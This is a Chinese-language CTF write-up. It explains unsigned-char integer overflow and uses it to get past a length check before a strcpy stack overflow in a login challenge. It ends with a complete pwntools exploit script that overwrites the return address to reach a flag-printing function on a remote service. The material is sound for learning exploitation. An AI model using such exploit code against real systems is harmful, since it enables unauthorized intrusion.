听名字就是整数溢出
先学习下什么是整数溢出

整数溢出知识

看那种官方的说明看的头大,直接说说我对整数溢出的理解emm
整数溢出,顾名思义就是整数溢出来了,什么是“溢出来”,就是256 = 0,65536 = 0 之类的
我们看个例子 我们在c语言中,用char定义一个变量c,用来存放一个1字节8个二进制位的数据
现在的书本也好,教师也好,总喜欢把char讲成定义字符型变量,其实不是的,char来定义变量的时候,本质就是为一个变量开辟一个字节的内存用来存放数据,这一个字节的空间是由我们任意支配的,想存什么类型的数据都可以,只不过大家都习惯存字符型的而已,跑题了(

char c = 1;

那么在内存中就是 0000 0001
如果是c = -1
那么在内存中就是 1000 0001
1代表符号位
那么思考下,c可存储的范围是多少呢? 是 -128—127
如果c = 127,即 0111 1111 那么c = c+1,再打印一下c是多少呢?

神奇的事情发生了,打印出来是-128,其实也不神奇,因为0111 1111 + 0000 0001 = 1000 0000 = -128

如果是无符号类型的话,表示的范围就是0—255
我们看代码

unsigned char c = 256;
printf("%d\n",c);

这样又会变成什么呢?思考一下 256 = 255 + 1
也就是 1111 1111 + 1 结果等于 (0001)0000 0000 然而我们内存只给它开辟了一个字节的空间,所以结果会等于零,dev上运行一下看看

这就是整数溢出的原理,这是最简单的unsigned char情况,对于word,dword情况也一样

解题

题目分析

我们运行一下程序看看是什么情况

简单的一个模拟登录的功能,接着我们查看一下开启了哪些保护机制

栈不可执行保护被打开了,我们直接IDA来看看main函数叭

我们跟进去login函数

有一个check密码的函数,我们跟进去看看

发现strcpy函数,这个函数可能会存在溢出,发现是把s赋给dest,而s的空间又大于dest,所以存在溢出(s即我们在login函数里面传入的参数buf),但是关键是上面有一个判断长度的if判断语句,所以我们得想办法来绕过if判断
看到v3是unsigned char类型的(即IDA中的unsigned __int8),要求v3在4—8之间
根据之前讲解的就可以使用整数溢出来绕过if判断
256 = 0,那么260 = 4,目标明确了,然后找偏移量

奈斯,然后发现一个奇奇怪怪的函数

奈斯,然后找到cat flag的地址

万事具备,只欠exp

exp编写

from pwn import *

ip = '124.126.19.106'
port = '37599'
r = remote(ip,port)

system_addr = 0x08048694
offset = 0x14 + 0x4    #加4是覆盖原函数的ebp的值
p32_system_addr = 0x4    #这个是p32发过去system的地址所占的4个字节,在整数溢出的时候要注意一下这个点    
unsigned_int_flow = 260 - offset - p32_system_addr    

payload = 'A' * offset + p32(system_addr) + 'A' * unsigned_int_flow

r.recvuntil('Your choice:')
r.sendline('1')

r.recvuntil('Please input your username:')
r.sendline('Hello')

r.recvuntil('Please input your passwd:')
r.sendline(payload)
r.interactive()

然后就是flag辣,奈斯